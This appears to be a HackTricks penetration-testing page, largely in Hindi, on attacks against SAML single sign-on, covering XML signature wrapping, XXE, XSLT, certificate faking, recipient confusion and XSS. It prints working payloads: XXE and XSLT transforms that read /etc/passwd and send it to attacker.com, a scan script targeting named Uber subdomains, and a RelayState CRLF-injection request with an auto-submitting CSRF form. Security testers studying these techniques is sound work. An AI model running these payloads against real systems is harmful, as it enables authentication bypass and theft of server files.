SAML Attacks

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

टूल

SAMLExtractor: एक ऐसा टूल जो एक URL या URL की सूची ले सकता है और SAML consume URL को प्रिंट करके लौटाता है।

XML में XML के signed भाग को मेमोरी में सेव किया जाता है, फिर कुछ encoding/decoding की जाती है और signature को चेक किया जाता है। आदर्श रूप में वह encoding/decoding डेटा को बदलना नहीं चाहिए लेकिन उस स्थिति के आधार पर, जाँच किए जा रहे डेटा और मूल डेटा एक जैसे नहीं हो सकते।

उदाहरण के लिए, निम्नलिखित कोड देखें:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

REXML 3.2.4 या उससे पहले के साथ प्रोग्राम चलाने पर इसके बजाय निम्नलिखित आउटपुट मिलेगा:

First child in original doc: Y
First child after round-trip: Z

यह नीचे दिखाया गया है कि REXML ने ऊपर के प्रोग्राम से मूल XML दस्तावेज़ को कैसे देखा:

और यह है कि parsing और serialization के एक चक्र के बाद इसने इसे कैसे देखा:

कमजोरी और इसका दुरुपयोग कैसे करें, इसके बारे में अधिक जानकारी के लिए:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. ये हमले XML दस्तावेज़ की संरचना में परिवर्तन करते हैं। विशेष रूप से, हमलावर injects forged elements जिनसे XML Signature की वैधता प्रभावित नहीं होती। इस हेरफेर का उद्देश्य उन तत्वों के बीच विसंगति पैदा करना है जिन्हें application logic विश्लेषण करता है और जिन्हें signature verification module जाँचता है। परिणामस्वरूप, जबकि XML Signature तकनीकी रूप से वैध बनी रहती है और सत्यापन पास कर लेती है, application logic fraudulent elements को प्रोसेस कर लेता है। इस तरह हमलावर प्रभावी रूप से XML Signature की integrity protection और origin authentication को बायपास कर लेता है, जिससे बिना पाए injection of arbitrary content संभव हो जाता है।

निम्नलिखित हमले this blog post and this paper पर आधारित हैं। अधिक विवरण के लिए उन्हें देखें।

XSW #1

रणनीति: A new root element containing the signature is added.
निहितार्थ: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

XSW #2

XSW #1 से अंतर: Utilizes a detached signature instead of an enveloping signature.
निहितार्थ: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

XSW #3

रणनीति: An evil Assertion is crafted at the same hierarchical level as the original assertion.
निहितार्थ: Intends to confuse the business logic into using the malicious data.

XSW #4

XSW #3 से अंतर: The original Assertion becomes a child of the duplicated (evil) Assertion.
निहितार्थ: Similar to XSW #3 but alters the XML structure more aggressively.

XSW #5

विशिष्ट पहलू: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
निहितार्थ: The copied Assertion envelopes the Signature, modifying the expected document structure.

XSW #6

रणनीति: Similar location insertion as XSW #4 and #5, but with a twist.
निहितार्थ: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

XSW #7

रणनीति: An Extensions element is inserted with the copied Assertion as a child.
निहितार्थ: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

XSW #8

XSW #7 से अंतर: Utilizes another less restrictive XML element for a variant of the attack.
निहितार्थ: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

Tool

आप Burp extension SAML Raider का उपयोग request को parse करने, किसी भी चुने हुए XSW attack को apply करने और उसे लॉन्च करने के लिए कर सकते हैं।

XXE

यदि आप नहीं जानते कि XXE किस प्रकार के हमले हैं, तो कृपया निम्नलिखित पृष्ठ पढ़ें:

XXE - XEE - XML External Entity

SAML Responses are deflated and base64 encoded XML documents होते हैं और XML External Entity (XXE) attacks के प्रति संवेदनशील हो सकते हैं। SAML Response की XML संरचना में हेरफेर करके, हमलावर XXE कमजोरियों का दुरुपयोग करने का प्रयास कर सकते हैं। ऐसे हमले की कल्पना इस प्रकार की जा सकती है:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

उपकरण

आप Burp extension SAML Raider का उपयोग SAML request से POC जनरेट करने के लिए कर सकते हैं ताकि संभावित XXE vulnerabilities और SAML vulnerabilities की जाँच की जा सके।

इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT के माध्यम से SAML

XSLT के बारे में अधिक जानकारी के लिए देखें:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) का उपयोग XML दस्तावेज़ों को HTML, JSON, या PDF जैसे विभिन्न फॉर्मैट में बदलने के लिए किया जा सकता है। यह महत्वपूर्ण है कि XSLT परिवर्तनों को डिजिटल हस्ताक्षर के सत्यापन से पहले लागू किया जाता है। इसका अर्थ यह है कि हमला वैध सिग्नेचर के बिना भी सफल हो सकता है; एक self-signed या invalid signature आगे बढ़ने के लिए पर्याप्त है।

यहाँ आप इस तरह की vulnerabilities की जाँच के लिए एक POC पा सकते हैं; इस सेक्शन की शुरुआत में उल्लिखित hacktricks पृष्ठ पर आप payloads पा सकते हैं।

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Tool

आप Burp extension SAML Raider का उपयोग SAML request से POC जेनरेट करने के लिए कर सकते हैं ताकि संभावित XSLT vulnerabilities का परीक्षण किया जा सके।

इस टॉक को भी देखें: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion यह देखता है कि SAML implementations उस समय कैसे व्यवहार करती हैं जब Signature element मौजूद नहीं होता। यदि यह element गायब है, तो signature validation may not occur, जिससे यह vulnerable हो सकता है। आप आमतौर पर Signature द्वारा verify किए जाने वाले कंटेंट में बदलाब करके इसका परीक्षण कर सकते हैं।

Tool

आप Burp extension SAML Raider का भी उपयोग कर सकते हैं। Intercept करें SAML Response को और Remove Signatures पर क्लिक करें। ऐसा करने पर सभी Signature elements हटा दिए जाते हैं।

Signatures हटाने के बाद, request को target पर भेजने दें। यदि Signature Service द्वारा आवश्यक नहीं है तो

Certificate Faking

Certificate Faking एक technique है यह टेस्ट करने के लिए कि क्या Service Provider (SP) सही ढंग से verify करता है कि कोई SAML Message एक trusted Identity Provider (IdP) द्वारा signed है। इसमें आमतौर पर एक self-signed certificate का उपयोग करके SAML Response या Assertion को sign करना शामिल है, जो SP और IdP के बीच trust validation प्रक्रिया का आकलन करने में मदद करता है।

How to Conduct Certificate Faking

निम्नलिखित कदम SAML Raider Burp extension का उपयोग करते हुए प्रक्रिया को रेखांकित करते हैं:

SAML Response को intercept करें।
यदि response में signature है, तो certificate को Send Certificate to SAML Raider Certs button का उपयोग करके SAML Raider Certs में भेजें।
SAML Raider Certificates tab में, imported certificate चुनें और original certificate का self-signed clone बनाने के लिए Save and Self-Sign पर क्लिक करें।
Burp के Proxy में intercepted request पर वापस जाएँ। XML Signature dropdown से नया self-signed certificate चुनें।
किसी भी मौजूदा signature को Remove Signatures button से हटाएँ।
नई certificate के साथ message या assertion को sign करने के लिए उपयुक्त रूप से (Re-)Sign Message या (Re-)Sign Assertion button का उपयोग करें।
Signed message को forward करें। यदि authentication सफल होती है, तो इसका मतलब है कि SP आपके self-signed certificate द्वारा signed messages को स्वीकार कर रहा है, जो SAML messages के validation process में संभावित कमजोरियों का संकेत देता है।

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion और Service Provider Target Confusion यह जांचने से संबंधित हैं कि क्या Service Provider सही ढंग से response के intended recipient को validate करता है। मूल रूप में, यदि authentication response किसी दूसरे provider के लिए था, तो Service Provider को उसे reject कर देना चाहिए। यहाँ महत्वपूर्ण element Recipient field है, जो SAML Response के SubjectConfirmationData element में पाया जाता है। यह field उस URL को निर्दिष्ट करती है जहाँ Assertion भेजा जाना चाहिए। यदि वास्तविक recipient intended Service Provider से मेल नहीं खाता, तो Assertion को invalid माना जाना चाहिए।

How It Works

SAML Token Recipient Confusion (SAML-TRC) attack संभव होने के लिए कुछ शर्तें पूरी होनी चाहिए। सबसे पहले, एक valid account किसी Service Provider पर होना चाहिए (जिसे SP-Legit कहा जाता है)। दूसरी शर्त यह है कि targeted Service Provider (SP-Target) को वही Identity Provider द्वारा जारी किए गए tokens स्वीकार करने चाहिए जो SP-Legit को सर्व करता है।

इन शर्तों के तहत attack प्रक्रिया सरल है। Shared Identity Provider के माध्यम से SP-Legit के साथ एक authentic session शुरू किया जाता है। Identity Provider से SP-Legit के लिए भेजी गई SAML Response intercept की जाती है। इस intercepted SAML Response, जो मूल रूप से SP-Legit के लिए था, को SP-Target की तरफ redirect किया जाता है। इस attack की सफलता इस बात से मापी जाती है कि क्या SP-Target Assertion को स्वीकार करता है और SP-Legit के समान account नाम के तहत resources तक पहुंच प्रदान करता है।

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

Logout कार्यक्षमता में XSS

मूल रिसर्च this link के माध्यम से देखा जा सकता है।

डायरेक्टरी brute forcing की प्रक्रिया के दौरान, एक logout पेज इस पते पर पाया गया:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

इस लिंक को एक्सेस करने पर निम्नलिखित स्थान पर रीडायरेक्ट किया गया:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

यह प्रकट हुआ कि base पैरामीटर एक URL स्वीकार करता है। इसे ध्यान में रखते हुए, URL को javascript:alert(123); से बदलने का विचार आया ताकि XSS (Cross-Site Scripting) हमले की कोशिश की जा सके।

Mass Exploitation

From this research:

The SAMLExtractor tool का उपयोग uberinternal.com के उन सबडोमेनों का विश्लेषण करने के लिए किया गया जो उसी लाइब्रेरी का उपयोग कर रहे थे। इसके बाद oidauth/prompt पेज को लक्षित करने के लिए एक स्क्रिप्ट विकसित की गई। यह स्क्रिप्ट डेटा इनपुट करके और यह जांच कर के कि क्या वह आउटपुट में परावर्तित होता है, XSS (Cross-Site Scripting) का परीक्षण करती है। जहाँ इनपुट वास्तव में परावर्तित पाया गया, स्क्रिप्ट उस पेज को vulnerable के रूप में चिह्नित कर देती है।

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

कुछ SAML SSO endpoints RelayState को डिकोड करते हैं और फिर बिना sanitization के response में उसे रिफ्लेक्ट कर देते हैं। यदि आप newlines इंजेक्ट कर सकें और response का Content-Type ओवरराइड कर सकें, तो आप ब्राउज़र को attacker-controlled HTML रेंडर करने के लिए मजबूर कर सकते हैं, जिससे reflected XSS होता है।

Idea: reflected RelayState में newline injection के जरिए response-splitting का दुरुपयोग करें। साथ ही CRLF injection में दिए सामान्य नोट्स देखें।
यह तब भी काम करता है जब RelayState सर्वर-साइड पर base64-decode होता है: ऐसा base64 दें जो decode होने पर header/body injection बने।

Generalized steps:

एक header/body injection sequence बनाएं जो newline से शुरू हो, Content-Type को HTML से overwrite करे, फिर HTML/JS payload इंजेक्ट करे:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>

उस sequence को URL-encode करें (उदाहरण):

%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E

उस URL-encoded स्ट्रिंग को base64-encode करें और उसे RelayState में रखें।

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

एक syntactically valid SAMLResponse और crafted RelayState के साथ POST भेजें SSO endpoint (उदा., /cgi/logout) पर।
CSRF के जरिए deliver करें: एक पेज होस्ट करें जो दोनों फील्ड्स सहित target origin को cross-origin POST auto-submit करे।

PoC against a NetScaler SSO endpoint (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF डिलीवरी पैटर्न:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

यह क्यों काम करता है: सर्वर RelayState को डिकोड करता है और उसे response में इस तरह शामिल करता है कि newline injection की अनुमति मिलती है, जिससे attacker headers और body को प्रभावित कर सकता है। Content-Type: text/html को जबरदस्ती set करने से browser response body से attacker-controlled HTML को render कर देता है।

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

सदस्यता योजनाओं की जांच करें!

हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**

हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।

HackTricks

SAML Attacks

बुनियादी जानकारी

टूल

XML राउंड-ट्रिप

XML Signature Wrapping Attacks

XSW #1

XSW #2

XSW #3

XSW #4

XSW #5

XSW #6

XSW #7

XSW #8

Tool

XXE

उपकरण

XSLT के माध्यम से SAML

Tool

XML Signature Exclusion

Tool

Certificate Faking

Certificate Faking

How to Conduct Certificate Faking

Token Recipient Confusion / Service Provider Target Confusion

How It Works

Logout कार्यक्षमता में XSS

Mass Exploitation

RelayState-based header/body injection to rXSS

संदर्भ